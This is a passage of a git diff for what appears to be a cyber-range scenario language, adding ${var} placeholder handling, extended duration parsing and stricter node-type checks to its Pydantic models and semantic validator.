reference existing infrastructure entries. Switch nodes cannot have count > 1, and nodes with conditions cannot scale above 1. Complex property IPs must be valid IPs within the linked switch's CIDR. ACL `from_net` and `to_net` references are each checked and must resolve to switch/network entries. | | `verify_features` | Vulnerability references exist. Dependency references exist. **Dependency cycle detection** via topological sort. | | `verify_conditions` | (Structural: command+interval XOR source — enforced by Pydantic) | | `verify_vulnerabilities` | (Structural: CWE format — enforced by Pydantic) | @@ -28,11 +28,13 @@ The semantic validator (`aptl.core.sdl.validator.SemanticValidator`) runs 20 nam | Pass | What It Checks | |------|----------------| -| `verify_content` | Content targets reference existing nodes. | -| `verify_accounts` | Account nodes reference existing nodes. | -| `verify_relationships` | Source and target resolve to any named element in any section. | -| `verify_agents` | Entity references resolve. Starting accounts and initial-knowledge accounts exist in accounts section. Allowed subnets and initial-knowledge subnets exist in infrastructure. Initial-knowledge hosts exist in nodes. Initial-knowledge services exist in `nodes.*.services[].name`. | -| `verify_variables` | Structural validation of typed defaults and `allowed_values`. `${var}` substitution in other sections is still checked at instantiation time. | +| `verify_content` | Content targets reference existing VM nodes. | +| `verify_accounts` | Account nodes reference existing VM nodes. | +| `verify_relationships` | Source and target resolve to any named element in any section, including variables, relationships, and content item names. | +| `verify_agents` | Entity references resolve. Starting accounts and initial-knowledge accounts exist in accounts section. Allowed subnets and initial-knowledge subnets must resolve to switch-backed infrastructure entries. Initial-knowledge hosts must resolve to VM nodes. Initial-knowledge services exist in `nodes.*.services[].name`. | +| `verify_variables` | Checks that full-value `${var}` placeholders reference declared variables. Structural validation of typed defaults and `allowed_values` still happens in the `Variable` model itself. | + +When a field contains an unresolved `${var}` placeholder, reference-oriented passes treat it as deferred rather than as a broken concrete reference. The validator still does not substitute values; it only checks that the placeholder names exist. ## Error Reporting @@ -49,4 +51,4 @@ except SDLValidationError as e: ## Cross-Reference Resolution -The `_all_named_elements()` method collects keys from all sections for relationship validation. This means a relationship can reference any node, feature, condition, vulnerability, account, entity (including nested), metric, evaluation, TLO, goal, inject, event, script, story, content item, or agent. +The `_all_named_elements()` method collects keys from all top-level sections for relationship validation, plus nested entity dot-paths and content item `name` values. This means a relationship can reference any node, feature, condition, vulnerability, infrastructure entry, metric, evaluation, TLO, goal, entity (including nested), inject, event, script, story, content entry, content item, account, agent, relationship, or variable. diff --git a/src/aptl/core/sdl/_base.py b/src/aptl/core/sdl/_base.py index d3f9b6448..0dfe209e5 100644 --- a/src/aptl/core/sdl/_base.py +++ b/src/aptl/core/sdl/_base.py @@ -1,9 +1,7 @@ -"""Base model configuration for the SDL package. +"""Base model configuration and shared helpers for the SDL package.""" -All SDL models inherit from SDLModel, which enforces strict -validation (extra fields forbidden) and populates by field name. -Case-insensitive enum matching is enabled via use_enum_values. -""" +import re +from typing import Any from pydantic import BaseModel, ConfigDict @@ -17,6 +15,94 @@ class SDLModel(BaseModel): ) +_VARIABLE_REF_RE = re.compile(r"^\$\{([A-Za-z_][A-Za-z0-9_-]*)\}$") + + +def is_variable_ref(v: Any) -> bool: + """Return whether ``v`` is a full ``${var_name}`` placeholder.""" + return isinstance(v, str) and _VARIABLE_REF_RE.fullmatch(v) is not None + + +def extract_variable_name(v: str) -> str | None: + """Return the referenced variable name, if ``v`` is a placeholder.""" + match = _VARIABLE_REF_RE.fullmatch(v) if isinstance(v, str) else None + return match.group(1) if match else None + + def normalize_enum_value(v: str) -> str: """Normalize a string for case-insensitive enum matching.""" + if is_variable_ref(v): + return v return v.lower() if isinstance(v, str) else v + + +def parse_int_or_var( + value: Any, + *, + minimum: int | None = None, + maximum: int | None = None, + field_name: str = "value", +) -> int | str: + """Parse an integer field while allowing ``${var}`` placeholders.""" + if is_variable_ref(value) or value is None: + return value + if isinstance(value, bool): + raise ValueError(f"{field_name} must be an integer") + if isinstance(value, int): + parsed = value + elif isinstance(value, str) and re.fullmatch(r"-?\d+", value.strip()): + parsed = int(value.strip()) + else: + raise ValueError(f"{field_name} must be an integer") + + if minimum is not None and parsed < minimum: + raise ValueError(f"{field_name} must be >= {minimum}") + if maximum is not None and parsed > maximum: + raise ValueError(f"{field_name} must be <= {maximum}") + return parsed + + +def parse_float_or_var( + value: Any, + *, + minimum: float | None = None, + maximum: float | None = None, + field_name: str = "value", +) -> float | str: + """Parse a float field while allowing ``${var}`` placeholders.""" + if is_variable_ref(value) or value is None: + return value + if isinstance(value, bool): + raise ValueError(f"{field_name} must be a number") + if isinstance(value, (int, float)): + parsed = float(value) + elif isinstance(value, str): + try: + parsed = float(value.strip()) + except ValueError as e: + raise ValueError(f"{field_name} must be a number") from e + else: + raise ValueError(f"{field_name} must be a number") + + if minimum is not None and parsed < minimum: + raise ValueError(f"{field_name} must be >= {minimum}") + if maximum is not None and parsed > maximum: + raise ValueError(f"{field_name} must be <= {maximum}") + return parsed + + +def parse_bool_or_var(value: Any, *, field_name: str = "value") -> bool | str: + """Parse a boolean field while allowing ``${var}`` placeholders.""" + if is_variable_ref(value) or value is None: + return value + if isinstance(value, bool): + return value + if isinstance(value, str): + lowered = value.strip().lower() + truthy = {"true", "1", "yes", "on"} + falsy = {"false", "0", "no", "off"} + if lowered in truthy: + return True + if lowered in falsy: + return False + raise ValueError(f"{field_name} must be a boolean") diff --git a/src/aptl/core/sdl/accounts.py b/src/aptl/core/sdl/accounts.py index 46fa91561..bde6cf5d9 100644 --- a/src/aptl/core/sdl/accounts.py +++ b/src/aptl/core/sdl/accounts.py @@ -11,7 +11,7 @@ from pydantic import Field, field_validator -from aptl.core.sdl._base import SDLModel, normalize_enum_value +from aptl.core.sdl._base import SDLModel, normalize_enum_value, parse_bool_or_var class PasswordStrength(str, Enum): @@ -41,9 +41,14 @@ class Account(SDLModel): spn: str = "" shell: str = "" home: str = "" - disabled: bool = False + disabled: bool | str = False @field_validator("password_strength", mode="before") @classmethod def normalize_strength(cls, v: str) -> str: return normalize_enum_value(v) + + @field_validator("disabled", mode="before") + @classmethod + def parse_disabled(cls, v: bool | str) -> bool | str: + return parse_bool_or_var(v, field_name="disabled") diff --git a/src/aptl/core/sdl/conditions.py b/src/aptl/core/sdl/conditions.py index 637dcae46..5415b39a0 100644 --- a/src/aptl/core/sdl/conditions.py +++ b/src/aptl/core/sdl/conditions.py @@ -9,7 +9,7 @@ from pydantic import Field, model_validator -from aptl.core.sdl._base import SDLModel +from aptl.core.sdl._base import SDLModel, parse_int_or_var from aptl.core.sdl._source import Source @@ -21,14 +21,33 @@ class Condition(SDLModel): name: str = "" command: Optional[str] = None - interval: Optional[int] = Field(default=None, ge=1) - timeout: Optional[int] = Field(default=None, ge=1) - retries: Optional[int] = Field(default=None, ge=0) - start_period: Optional[int] = Field(default=None, ge=0) + interval: Optional[int | str] = None + timeout: Optional[int | str] = None + retries: Optional[int | str] = None + start_period: Optional[int | str] = None source: Optional[Source] = None description: str = "" environment: list[str] = Field(default_factory=list) + @model_validator(mode="before") + @classmethod + def parse_scalar_fields(cls, data): + if isinstance(data, dict): + data = dict(data) + for field_name, minimum in ( + ("interval", 1), + ("timeout", 1), + ("retries", 0), + ("start_period", 0), + ): + if field_name in data: + data[field_name] = parse_int_or_var( + data[field_name], + minimum=minimum, + field_name=field_name, + ) + return data + @model_validator(mode="after") def validate_command_xor_source(self) -> "Condition": has_command = self.command is not None diff --git a/src/aptl/core/sdl/content.py b/src/aptl/core/sdl/content.py index 59867a834..60945fe61 100644 --- a/src/aptl/core/sdl/content.py +++ b/src/aptl/core/sdl/content.py @@ -15,7 +15,7 @@ from pydantic import Field, field_validator -from aptl.core.sdl._base import SDLModel, normalize_enum_value +from aptl.core.sdl._base import SDLModel, normalize_enum_value, parse_bool_or_var from aptl.core.sdl._source import Source @@ -54,10 +54,15 @@ class Content(SDLModel): source: Optional[Source] = None format: str = "" items: list[ContentItem] = Field(default_factory=list) - sensitive: bool = False + sensitive: bool | str = False tags: list[str] = Field(default_factory=list) @field_validator("type", mode="before") @classmethod def normalize_type(cls, v: str) -> str: return normalize_enum_value(v) + + @field_validator("sensitive", mode="before") + @classmethod + def parse_sensitive(cls, v: bool | str) -> bool | str: + return parse_bool_or_var(v, field_name="sensitive") diff --git a/src/aptl/core/sdl/entities.py b/src/aptl/core/sdl/entities.py index af44a1df4..411b71a39 100644 --- a/src/aptl/core/sdl/entities.py +++ b/src/aptl/core/sdl/entities.py @@ -42,6 +42,7 @@ def normalize_role(cls, v): categories: list[str] = Field(default_factory=list) vulnerabilities: list[str] = Field(default_factory=list) tlos: list[str] = Field(default_factory=list) + facts: dict[str, str] = Field(default_factory=dict) events: list[str] = Field(default_factory=list) entities: dict[str, "Entity"] = Field(default_factory=dict) diff --git a/src/aptl/core/sdl/infrastructure.py b/src/aptl/core/sdl/infrastructure.py index 1e99a57e2..4cbb25672 100644 --- a/src/aptl/core/sdl/infrastructure.py +++ b/src/aptl/core/sdl/infrastructure.py @@ -8,12 +8,18 @@ """ from enum import Enum -from ipaddress import IPv4Address, IPv4Network, ip_address, ip_network -from typing import Any, Optional, Union +from ipaddress import ip_address, ip_network +from typing import Optional, Union from pydantic import Field, field_validator, model_validator -from aptl.core.sdl._base import SDLModel, normalize_enum_value +from aptl.core.sdl._base import ( + SDLModel, + is_variable_ref, + normalize_enum_value, + parse_bool_or_var, + parse_int_or_var, +) MINIMUM_NODE_COUNT = 1 DEFAULT_NODE_COUNT = 1 @@ -37,7 +43,7 @@ class ACLRule(SDLModel): from_net: str = "" to_net: str = "" protocol: str = "any" - ports: list[int] = Field(default_factory=list) + ports: list[int | str] = Field(default_factory=list) action: ACLAction = ACLAction.ALLOW description: str = "" @@ -46,28 +52,49 @@ class ACLRule(SDLModel): def normalize_action(cls, v: str) -> str: return normalize_enum_value(v) + @field_validator("ports", mode="before") + @classmethod + def parse_ports(cls, v: list[int | str]) -> list[int | str]: + if isinstance(v, list): + return [ + parse_int_or_var(port, minimum=1, maximum=65535, field_name="ports") + for port in v + ] + return v + class SimpleProperties(SDLModel): """Network properties for a switch/subnet: CIDR, gateway, and flags.""" cidr: str gateway: str - internal: bool = False + internal: bool | str = False @field_validator("cidr") @classmethod def validate_cidr(cls, v: str) -> str: + if is_variable_ref(v): + return v ip_network(v, strict=False) return v @field_validator("gateway") @classmethod def validate_gateway(cls, v: str) -> str: + if is_variable_ref(v): + return v ip_address(v) return v + @field_validator("internal", mode="before") + @classmethod + def parse_internal(cls, v: bool | str) -> bool | str: + return parse_bool_or_var(v, field_name="internal") + @model_validator(mode="after") def gateway_within_cidr(self) -> "SimpleProperties": + if is_variable_ref(self.cidr) or is_variable_ref(self.gateway): + return self net = ip_network(self.cidr, strict=False) gw = ip_address(self.gateway) if gw not in net: @@ -84,13 +111,22 @@ class InfraNode(SDLModel): Longhand: full dict with count, links, dependencies, properties, acls. """ - count: int = Field(default=DEFAULT_NODE_COUNT, ge=MINIMUM_NODE_COUNT) + count: int | str = DEFAULT_NODE_COUNT links: list[str] = Field(default_factory=list) dependencies: list[str] = Field(default_factory=list) properties: Optional[Union[SimpleProperties, list[dict[str, str]]]] = None acls: list[ACLRule] = Field(default_factory=list) description: str = "" + @field_validator("count", mode="before") + @classmethod + def parse_count(cls, v: int | str) -> int | str: + return parse_int_or_var( + v, + minimum=MINIMUM_NODE_COUNT, + field_name="count", + ) + @model_validator(mode="after") def validate_unique_links(self) -> "InfraNode": if len(self.links) != len(set(self.links)): diff --git a/src/aptl/core/sdl/nodes.py b/src/aptl/core/sdl/nodes.py index 181c1295c..96977c4d0 100644 --- a/src/aptl/core/sdl/nodes.py +++ b/src/aptl/core/sdl/nodes.py @@ -10,7 +10,12 @@ from pydantic import Field, field_validator, model_validator -from aptl.core.sdl._base import SDLModel, normalize_enum_value +from aptl.core.sdl._base import ( + SDLModel, + is_variable_ref, + normalize_enum_value, + parse_int_or_var, +) from aptl.core.sdl._source import Source MAX_NODE_NAME_LENGTH = 35 @@ -33,17 +38,26 @@ ) -def parse_ram(value: str | int) -> int: +def parse_ram(value: str | int) -> int | str: """Parse a human-readable RAM string to bytes. Accepts bare integers (treated as bytes) or strings like ``"4 GiB"``, ``"2048 MiB"``, ``"512mb"``. """ + if is_variable_ref(value): + return value + if isinstance(value, bool): + raise ValueError("RAM must be a positive integer or human-readable size") if isinstance(value, int): + if value < 1: + raise ValueError("RAM must be >= 1 byte") return value value_str = str(value).strip() if value_str.isdigit(): - return int(value_str) + parsed = int(value_str) + if parsed < 1: + raise ValueError("RAM must be >= 1 byte") + return parsed match = _RAM_PATTERN.match(value_str) if not match: raise ValueError( @@ -52,7 +66,10 @@ def parse_ram(value: str | int) -> int: ) amount = float(match.group(1)) unit = match.group(2).lower() - return int(amount * _BYTE_UNITS[unit]) + parsed = int(amount * _BYTE_UNITS[unit]) + if parsed < 1: + raise ValueError("RAM must be >= 1 byte") + return parsed class NodeType(str, Enum): @@ -65,14 +82,19 @@ class NodeType(str, Enum): class Resources(SDLModel): """Compute resources for a VM node.""" - ram: int = Field(ge=1, description="RAM in bytes (parsed from human-readable)") - cpu: int = Field(ge=1, description="Number of CPU cores") + ram: int | str = Field(description="RAM in bytes (parsed from human-readable)") + cpu: int | str = Field(description="Number of CPU cores") @field_validator("ram", mode="before") @classmethod - def parse_ram_value(cls, v: str | int) -> int: + def parse_ram_value(cls, v: str | int) -> int | str: return parse_ram(v) + @field_validator("cpu", mode="before") + @classmethod + def parse_cpu_value(cls, v: int | str) -> int | str: + return parse_int_or_var(v, minimum=1, field_name="cpu") + class Role(SDLModel): """A named role on a VM with optional entity assignments. @@ -137,11 +159,16 @@ class AssetValue(SDLModel): class ServicePort(SDLModel): """A network service exposed by a node. From OCSF NetworkEndpoint.""" - port: int = Field(ge=1, le=65535) + port: int | str protocol: str = "tcp" name: str = "" description: str = "" + @field_validator("port", mode="before") + @classmethod + def parse_port_value(cls, v: int | str) -> int | str: + return parse_int_or_var(v, minimum=1, maximum=65535, field_name="port") + class Switch(SDLModel): """Network switch — a pure connectivity node with no compute.""" diff --git a/src/aptl/core/sdl/orchestration.py b/src/aptl/core/sdl/orchestration.py index 295bf77d5..4b3838f28 100644 --- a/src/aptl/core/sdl/orchestration.py +++ b/src/aptl/core/sdl/orchestration.py @@ -3,78 +3,134 @@ Implements the OCR SDL exercise orchestration pipeline: Stories -> Scripts -> Events -> { Conditions, Injects } -Scripts use human-readable duration strings (e.g., ``"10min 2 sec"``). +Scripts use OCR-compatible human-readable duration strings +(e.g., ``"10min 2 sec"``, ``"1 mon"``, ``"1 us"``). """ +import math import re +from decimal import Decimal, ROUND_CEILING from typing import Optional from pydantic import Field, field_validator, model_validator -from aptl.core.sdl._base import SDLModel +from aptl.core.sdl._base import SDLModel, is_variable_ref, parse_float_or_var from aptl.core.sdl._source import Source -# Duration parsing: supports combinations like "1h 30min", "10 min 2 sec" +# OCR uses duration-str's fixed calendar conversions: 30d/month, 365d/year. _DURATION_UNITS = { - "w": 604_800, - "week": 604_800, - "weeks": 604_800, - "d": 86_400, - "day": 86_400, - "days": 86_400, - "h": 3_600, - "hr": 3_600, - "hour": 3_600, - "hours": 3_600, - "m": 60, - "min": 60, - "mins": 60, - "minute": 60, - "minutes": 60, - "s": 1, - "sec": 1, - "secs": 1, - "second": 1, - "seconds": 1, - "ms": 0.001, + "y": Decimal("31536000"), + "year": Decimal("31536000"), + "years": Decimal("31536000"), + "mon": Decimal("2592000"), + "month": Decimal("2592000"), + "months": Decimal("2592000"), + "w": Decimal("604800"), + "week": Decimal("604800"), + "weeks": Decimal("604800"), + "d": Decimal("86400"), + "day": Decimal("86400"), + "days": Decimal("86400"), + "h": Decimal("3600"), + "hr": Decimal("3600"), + "hour": Decimal("3600"), + "hours": Decimal("3600"), + "m": Decimal("60"), + "min": Decimal("60"), + "mins": Decimal("60"), + "minute": Decimal("60"), + "minutes": Decimal("60"), + "s": Decimal("1"), + "sec": Decimal("1"), + "secs": Decimal("1"), + "second": Decimal("1"), + "seconds": Decimal("1"), + "ms": Decimal("0.001"), + "msec": Decimal("0.001"), + "millisecond": Decimal("0.001"), + "milliseconds": Decimal("0.001"), + "us": Decimal("0.000001"), + "usec": Decimal("0.000001"), + "usecond": Decimal("0.000001"), + "microsecond": Decimal("0.000001"), + "microseconds": Decimal("0.000001"), + "ns": Decimal("0.000000001"), + "nsec": Decimal("0.000000001"), + "nanosecond": Decimal("0.000000001"), + "nanoseconds": Decimal("0.000000001"), } -_DURATION_TOKEN = re.compile( - r"(\d+(?:_\d+)*(?:\.\d+)?)\s*(" - + "|".join(sorted(_DURATION_UNITS, key=len, reverse=True)) - + r")\b", - re.IGNORECASE, -) +_DURATION_NUMBER = re.compile(r"\d+(?:\.\d+)?") -def parse_duration(value: str | int | float) -> int: +def parse_duration(value: str | int | float) -> int | str: """Parse a human-readable duration string to seconds. Accepts integers/floats (treated as seconds) or strings like - ``"10min 2 sec"``, ``"1 week 1day 1h"``, ``"0"``. + ``"10min 2 sec"``, ``"1 week 1day 1h"``, ``"1 mon"``, ``"1 us"``, + ``"1m+30"``, ``"0"``. """ + if is_variable_ref(value): + return value + if isinstance(value, bool): + raise ValueError(f"Invalid duration: {value!r}") if isinstance(value, (int, float)): - return int(value) - - value_str = str(value).strip().replace("_", "") - if not value_str or value_str == "0": + if value < 0: + raise ValueError(f"Invalid duration: {value!r}") + if value == 0: + return 0 + return math.ceil(value) + + value_str = str(value).strip() + if not value_str: + raise ValueError(f"Invalid duration: {value!r}") + if value_str == "0": return 0 - if value_str.isdigit(): - return int(value_str) - - total = 0.0 - found = False - for match in _DURATION_TOKEN.finditer(value_str): - found = True - amount = float(match.group(1)) - unit = match.group(2).lower() - total += amount * _DURATION_UNITS[unit] - - if not found: + normalized = ( + value_str.replace("_", "") + .replace(" ", "") + .replace("µ", "u") + .lower() + ) + + if re.fullmatch(r"\d+(?:\.\d+)?", normalized): + total = Decimal(normalized) + return int(total.to_integral_value(rounding=ROUND_CEILING)) + + total = Decimal("0") + position = 0 + parsed_any = False + units = sorted(_DURATION_UNITS, key=len, reverse=True) + + while position < len(normalized): + if normalized[position] == "+": + position += 1 + continue + + match = _DURATION_NUMBER.match(normalized, position) + if match is None: + raise ValueError(f"Invalid duration: {value!r}") + + parsed_any = True + amount = Decimal(match.group(0)) + position = match.end() + + unit = None + for candidate in units: + if normalized.startswith(candidate, position): + unit = candidate + position += len(candidate) + break + + # duration-str treats bare numbers as seconds + multiplier = _DURATION_UNITS[unit] if unit else Decimal("1") + total += amount * multiplier + + if not parsed_any: raise ValueError(f"Invalid duration: {value!r}") - return int(total) + return int(total.to_integral_value(rounding=ROUND_CEILING)) class Inject(SDLModel): @@ -117,32 +173,50 @@ class Script(SDLModel): """ name: str = "" - start_time: int = Field(ge=0) - end_time: int = Field(ge=0) - speed: float = Field(gt=0) - events: dict[str, int] = Field(min_length=1) + start_time: int | str + end_time: int | str + speed: float | str + events: dict[str, int | str] = Field(min_length=1) description: str = "" @field_validator("start_time", "end_time", mode="before") @classmethod - def parse_time(cls, v: str | int | float) -> int: + def parse_time(cls, v: str | int | float) -> int | str: return parse_duration(v) + @field_validator("speed", mode="before") + @classmethod + def parse_speed(cls, v: str | int | float) -> float | str: + parsed = parse_float_or_var(v, minimum=0, field_name="speed") + if isinstance(parsed, float) and parsed <= 0: + raise ValueError("speed must be > 0") + return parsed + @field_validator("events", mode="before") @classmethod - def parse_event_times(cls, v: dict) -> dict[str, int]: + def parse_event_times(cls, v: dict) -> dict[str, int | str]: if isinstance(v, dict): return {k: parse_duration(t) for k, t in v.items()} return v @model_validator(mode="after") def validate_time_bounds(self) -> "Script": - if self.end_time < self.start_time: + if ( + isinstance(self.start_time, int) + and isinstance(self.end_time, int) + and self.end_time < self.start_time + ): raise ValueError( f"Script end_time ({self.end_time}s) must be >= " f"start_time ({self.start_time}s)" ) for event_name, event_time in self.events.items(): + if not ( + isinstance(self.start_time, int) + and isinstance(self.end_time, int) + and isinstance(event_time, int) + ): + continue if event_time < self.start_time or event_time > self.end_time: raise ValueError( f"Event '{event_name}' time ({event_time}s) is outside " @@ -155,6 +229,11 @@ class Story(SDLModel): """Top-level exercise orchestration — a group of scripts.""" name: str = "" - speed: float = Field(default=1.0, ge=1.0) + speed: float | str = 1.0 scripts: list[str] = Field(min_length=1) description: str = "" + + @field_validator("speed", mode="before") + @classmethod + def parse_speed(cls, v: str | int | float) -> float | str: + return parse_float_or_var(v, minimum=1.0, field_name="speed") diff --git a/src/aptl/core/sdl/parser.py b/src/aptl/core/sdl/parser.py index d8262e23a..c76bb42ac 100644 --- a/src/aptl/core/sdl/parser.py +++ b/src/aptl/core/sdl/parser.py @@ -12,6 +12,7 @@ import yaml from aptl.core.sdl._errors import SDLParseError, SDLValidationError +from aptl.core.sdl._base import is_variable_ref from aptl.core.sdl.scenario import Scenario from aptl.core.sdl.validator import SemanticValidator @@ -32,6 +33,7 @@ "conditions", # VM.conditions (dict[str, str]) "injects", # VM.injects (dict[str, str]) "roles", # Node.roles (dict[str, Role]) + "facts", # Entity.facts (dict[str, str]) "entities", # Entity.entities (dict[str, Entity]) "events", # Script.events (dict[str, int]) "platform_commands", # AttackStep.platform_commands (dict[str, PlatformCommand]) @@ -91,7 +93,7 @@ def _expand_infrastructure(infra: dict[str, Any]) -> dict[str, Any]: """Expand infrastructure shorthand: {node: 3} → {node: {count: 3}}.""" result = {} for name, value in infra.items(): - if isinstance(value, int): + if isinstance(value, int) or is_variable_ref(value): result[name] = {"count": value} else: result[name] = value @@ -111,7 +113,7 @@ def _expand_roles(roles: dict[str, Any]) -> dict[str, Any]: def _expand_min_score(value: Any) -> Any: """Expand min-score shorthand: 50 → {percentage: 50}.""" - if isinstance(value, int): + if isinstance(value, int) or is_variable_ref(value): return {"percentage": value} return value diff --git a/src/aptl/core/sdl/scoring.py b/src/aptl/core/sdl/scoring.py index a22798663..7b68b85b2 100644 --- a/src/aptl/core/sdl/scoring.py +++ b/src/aptl/core/sdl/scoring.py @@ -13,7 +13,12 @@ from pydantic import Field, field_validator, model_validator -from aptl.core.sdl._base import SDLModel, normalize_enum_value +from aptl.core.sdl._base import ( + SDLModel, + normalize_enum_value, + parse_bool_or_var, + parse_int_or_var, +) class MetricType(str, Enum): @@ -32,16 +37,26 @@ class Metric(SDLModel): name: str = "" type: MetricType = Field(alias="type") - artifact: Optional[bool] = None + artifact: Optional[bool | str] = None @field_validator("type", mode="before") @classmethod def normalize_type(cls, v: str) -> str: return normalize_enum_value(v) - max_score: int = Field(ge=1) + max_score: int | str condition: Optional[str] = None description: str = "" + @field_validator("artifact", mode="before") + @classmethod + def parse_artifact(cls, v: bool | str | None) -> bool | str | None: + return parse_bool_or_var(v, field_name="artifact") + + @field_validator("max_score", mode="before") + @classmethod + def parse_max_score(cls, v: int | str) -> int | str: + return parse_int_or_var(v, minimum=1, field_name="max_score") + @model_validator(mode="after") def validate_type_fields(self) -> "Metric": if self.type == MetricType.MANUAL: @@ -62,8 +77,23 @@ class MinScore(SDLModel): Longhand: ``min-score: {absolute: 50}`` or ``{percentage: 75}``. """ - absolute: Optional[int] = Field(default=None, ge=0) - percentage: Optional[int] = Field(default=None, ge=0, le=100) + absolute: Optional[int | str] = None + percentage: Optional[int | str] = None + + @field_validator("absolute", mode="before") + @classmethod + def parse_absolute(cls, v: int | str | None) -> int | str | None: + return parse_int_or_var(v, minimum=0, field_name="absolute") + + @field_validator("percentage", mode="before") + @classmethod + def parse_percentage(cls, v: int | str | None) -> int | str | None: + return parse_int_or_var( + v, + minimum=0, + maximum=100, + field_name="percentage", + ) @model_validator(mode="after") def validate_exclusive(self) -> "MinScore": diff --git a/src/aptl/core/sdl/validator.py b/src/aptl/core/sdl/validator.py index 12dca3cbb..8a9fd5e15 100644 --- a/src/aptl/core/sdl/validator.py +++ b/src/aptl/core/sdl/validator.py @@ -6,12 +6,15 @@ the first one. """ -import re from collections import defaultdict from ipaddress import ip_address, ip_network +from pydantic import BaseModel + from aptl.core.sdl._errors import SDLValidationError +from aptl.core.sdl._base import extract_variable_name, is_variable_ref from aptl.core.sdl.entities import flatten_entities +from aptl.core.sdl.infrastructure import SimpleProperties from aptl.core.sdl.nodes import NodeType from aptl.core.sdl.scenario import Scenario from aptl.core.sdl.scoring import MetricType @@ -54,6 +57,19 @@ def __init__(self, scenario: Scenario) -> None: def _err(self, msg: str) -> None: self._errors.append(msg) + def _is_unresolved_var(self, value: object) -> bool: + return is_variable_ref(value) + + def _node_type(self, node_name: str) -> NodeType | None: + node = self._s.nodes.get(node_name) + return node.type if node is not None else None + + def _is_switch_node(self, node_name: str) -> bool: + return self._node_type(node_name) == NodeType.SWITCH + + def _is_vm_node(self, node_name: str) -> bool: + return self._node_type(node_name) == NodeType.VM + def validate(self) -> None: """Run all validation passes and raise on errors.""" self._errors = [] @@ -99,7 +115,11 @@ def _verify_nodes(self) -> None: self._err( f"Node '{name}' references undefined feature '{feat_name}'" ) - if role_name and node.roles and role_name not in node.roles: + if ( + role_name + and not self._is_unresolved_var(role_name) + and role_name not in node.roles + ): self._err( f"Node '{name}' feature '{feat_name}' references " f"undefined role '{role_name}'" @@ -110,7 +130,11 @@ def _verify_nodes(self) -> None: self._err( f"Node '{name}' references undefined condition '{cond_name}'" ) - if role_name and node.roles and role_name not in node.roles: + if ( + role_name + and not self._is_unresolved_var(role_name) + and role_name not in node.roles + ): self._err( f"Node '{name}' condition '{cond_name}' references " f"undefined role '{role_name}'" @@ -121,13 +145,19 @@ def _verify_nodes(self) -> None: self._err( f"Node '{name}' references undefined inject '{inj_name}'" ) - if role_name and node.roles and role_name not in node.roles: + if ( + role_name + and not self._is_unresolved_var(role_name) + and role_name not in node.roles + ): self._err( f"Node '{name}' inject '{inj_name}' references " f"undefined role '{role_name}'" ) for vuln_name in node.vulnerabilities: + if self._is_unresolved_var(vuln_name): + continue if vuln_name not in self._s.vulnerabilities: self._err( f"Node '{name}' references undefined vulnerability '{vuln_name}'" @@ -141,12 +171,21 @@ def _verify_infrastructure(self) -> None: ) for link in infra.links: + if self._is_unresolved_var(link): + continue if link not in self._s.infrastructure: self._err( f"Infrastructure '{name}' links to undefined '{link}'" ) + elif not self._is_switch_node(link): + self._err( + f"Infrastructure '{name}' link '{link}' must reference " + "a switch/network entry" + ) for dep in infra.dependencies: + if self._is_unresolved_var(dep): + continue if dep not in self._s.infrastructure: self._err( f"Infrastructure '{name}' depends on undefined '{dep}'" @@ -154,69 +193,150 @@ def _verify_infrastructure(self) -> None: # Switch nodes cannot have count > 1 if name in self._s.nodes: - if self._s.nodes[name].type == NodeType.SWITCH and infra.count > 1: + if ( + self._s.nodes[name].type == NodeType.SWITCH + and isinstance(infra.count, int) + and infra.count > 1 + ): self._err( f"Switch node '{name}' cannot have count > 1" ) + if ( + self._s.nodes[name].type == NodeType.VM + and self._s.nodes[name].conditions + and isinstance(infra.count, int) + and infra.count > 1 + ): + self._err( + f"Node '{name}' has conditions and cannot have count > 1" + ) # Validate complex properties IP within linked CIDR if isinstance(infra.properties, list): for prop_entry in infra.properties: for link_name, ip_str in prop_entry.items(): + if self._is_unresolved_var(link_name): + continue if link_name not in infra.links: self._err( f"Infrastructure '{name}' property references " f"unlinked node '{link_name}'" ) + if not self._is_switch_node(link_name): + self._err( + f"Infrastructure '{name}' property link " + f"'{link_name}' must reference a switch/network entry" + ) + continue # Check IP is within the linked node's CIDR linked_infra = self._s.infrastructure.get(link_name) - if linked_infra and hasattr(linked_infra.properties, "cidr"): - try: - net = ip_network( - linked_infra.properties.cidr, strict=False - ) - addr = ip_address(ip_str) - if addr not in net: - self._err( - f"Infrastructure '{name}' IP {ip_str} " - f"not within '{link_name}' CIDR " - f"{linked_infra.properties.cidr}" - ) - except (ValueError, AttributeError): - pass + if linked_infra is None: + continue + if not isinstance(linked_infra.properties, SimpleProperties): + self._err( + f"Infrastructure '{name}' property link " + f"'{link_name}' must reference a network with CIDR " + "properties" + ) + continue + if self._is_unresolved_var(ip_str): + continue + if self._is_unresolved_var(linked_infra.properties.cidr): + continue + try: + net = ip_network( + linked_infra.properties.cidr, strict=False + ) + except ValueError: + self._err( + f"Infrastructure '{link_name}' has invalid CIDR " + f"{linked_infra.properties.cidr}" + ) + continue + try: + addr = ip_address(ip_str) + except ValueError: + self._err( + f"Infrastructure '{name}' has invalid IP " + f"assignment '{ip_str}' for link '{link_name}'" + ) + continue + if addr not in net: + self._err( + f"Infrastructure '{name}' IP {ip_str} " + f"not within '{link_name}' CIDR " + f"{linked_infra.properties.cidr}" + ) # Validate ACL network references for acl in infra.acls: - ref = acl.from_net or acl.to_net - if ref and ref not in self._s.infrastructure: - self._err( - f"Infrastructure '{name}' ACL references " - f"undefined network '{ref}'" - ) + for ref in (acl.from_net, acl.to_net): + if self._is_unresolved_var(ref): + continue + if ref and ref not in self._s.infrastructure: + self._err( + f"Infrastructure '{name}' ACL references " + f"undefined network '{ref}'" + ) + elif ref and not self._is_switch_node(ref): + self._err( + f"Infrastructure '{name}' ACL reference '{ref}' " + "must point to a switch/network entry" + ) def _verify_content(self) -> None: for name, item in self._s.content.items(): - if item.target and item.target not in self._s.nodes: + if ( + item.target + and not self._is_unresolved_var(item.target) + and item.target not in self._s.nodes + ): self._err( f"Content '{name}' targets undefined node '{item.target}'" ) + elif ( + item.target + and not self._is_unresolved_var(item.target) + and not self._is_vm_node(item.target) + ): + self._err( + f"Content '{name}' target '{item.target}' must be a VM node" + ) def _verify_accounts(self) -> None: for name, acct in self._s.accounts.items(): - if acct.node and acct.node not in self._s.nodes: + if ( + acct.node + and not self._is_unresolved_var(acct.node) + and acct.node not in self._s.nodes + ): self._err( f"Account '{name}' references undefined node '{acct.node}'" ) + elif ( + acct.node + and not self._is_unresolved_var(acct.node) + and not self._is_vm_node(acct.node) + ): + self._err( + f"Account '{name}' node '{acct.node}' must be a 